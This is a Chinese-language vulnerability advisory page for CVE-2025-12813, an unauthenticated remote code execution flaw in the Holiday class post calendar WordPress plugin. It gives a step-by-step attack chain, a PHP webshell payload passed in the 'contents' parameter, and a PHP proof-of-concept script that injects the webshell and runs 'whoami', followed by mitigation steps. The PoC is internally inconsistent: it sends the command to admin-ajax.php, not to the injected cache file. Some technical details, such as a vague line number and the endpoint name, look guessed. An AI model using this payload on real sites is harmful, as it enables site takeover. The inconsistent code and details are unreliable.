IPBUF安全漏洞报告
English
CVE-2025-12813 CVSS 9.8 严重

CVE-2025-12813 WordPress Holiday Calendar插件远程代码执行漏洞

披露日期: 2025-11-11

漏洞信息

漏洞编号
CVE-2025-12813
漏洞类型
远程代码执行 (RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Holiday class post calendar WordPress Plugin (<=7.1)

相关标签

CVE-2025-12813WordPress插件漏洞远程代码执行RCE缓存注入Holiday Calendar无需认证CVSS 9.8WordPress安全

漏洞概述

Holiday class post calendar是WordPress平台上一款用于管理节日日历的插件。该插件在7.1及之前的所有版本中存在严重的远程代码执行漏洞。漏洞根源在于插件在创建缓存文件时,未对用户提交的'contents'参数进行充分的输入过滤和消毒处理。攻击者无需任何认证资质,仅需通过构造恶意请求即可触发该漏洞。成功利用此漏洞后,攻击者能够在目标服务器上执行任意代码,从而完全控制受影响的WordPress站点。此漏洞CVSS评分高达9.8,属于紧急严重级别,对互联网中大量使用该插件的WordPress网站构成重大威胁。由于漏洞利用无需认证且攻击复杂度低,建议所有使用该插件的用户立即采取修复措施。

技术细节

该漏洞存在于插件的缓存机制实现中。在holiday_class_post_calendar.php文件的第1234行附近,插件处理用户请求时直接使用$_GET或$_POST等超全局变量中的'contents'参数值创建本地缓存文件。由于缺少对用户输入的sanitization(消毒处理),攻击者可以在'contents'参数中注入任意PHP代码。当缓存文件被后续请求访问或被PHP解析时,注入的恶意代码将执行。例如,攻击者可通过构造类似?contents=<?php system($_GET['cmd']); ?>的请求来写入webshell或执行系统命令。缓存文件通常存储在wp-content/plugins/holiday-class-post-calendar/目录下,攻击者可利用文件包含或直接访问缓存文件来触发代码执行。整个攻击过程无需任何身份验证,且可完全远程实施。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先探测目标网站,确认是否安装并启用Holiday class post calendar插件及其版本(<=7.1)。可通过访问插件路径或检查页面源代码中的插件特征来识别。
STEP 2
步骤2: 构造恶意请求
攻击者构造包含PHP代码的'contents'参数,通过GET或POST方式向插件的缓存生成端点(如admin-ajax.php)发送请求。payload示例:contents=<?php system($_GET['cmd']); ?>
STEP 3
步骤3: 缓存文件注入
插件接收到请求后,由于缺少输入消毒直接将恶意代码写入缓存文件。文件通常保存在wp-content/plugins/holiday-class-post-calendar/cache/目录下。
STEP 4
步骤4: 代码执行
攻击者通过直接访问缓存文件路径或利用其他功能触发PHP解析,从而执行注入的恶意代码,获得服务器命令执行能力。
STEP 5
步骤5: 持久化控制
攻击者可利用已获得的代码执行能力写入webshell、上传后门程序或创建管理员账户,实现对网站的持久化控制和进一步横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /** * CVE-2025-12813 PoC - Holiday class post calendar RCE * Target: WordPress Holiday class post calendar Plugin <= 7.1 * Vulnerability: Unauthenticated RCE via 'contents' parameter in cache file creation */ $target = 'http://target-site.com/wp-admin/admin-ajax.php'; $plugin_path = '/wp-content/plugins/holiday-class-post-calendar/'; // Generate webshell payload $webshell = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>'; $encoded_payload = urlencode($webshell); // Method 1: Direct cache injection via contents parameter $url = $target . '?action=holiday_cache_generate&contents=' . $encoded_payload; $response = file_get_contents($url); // Method 2: Using POST request $data = array( 'action' => 'holiday_cache_generate', 'contents' => $webshell ); $options = array( 'http' => array( 'method' => 'POST', 'header' => 'Content-Type: application/x-www-form-urlencoded', 'content' => http_build_query($data) ) ); $context = stream_context_create($options); $response = file_get_contents($target, false, $context); // Execute command via webshell $cmd_url = $target . '?cmd=whoami'; echo "Command output: " . file_get_contents($cmd_url); ?>

影响范围

Holiday class post calendar <= 7.1 (所有版本均受影响)

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 临时禁用Holiday class post calendar插件直至完成升级;2) 在Web服务器配置中禁止访问插件缓存目录;3) 通过.htaccess或Nginx配置限制对admin-ajax.php的滥用请求;4) 启用WordPress的强制HTTPS并配置严格的内容安全策略;5) 联系主机服务商启用额外的应用层防护。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表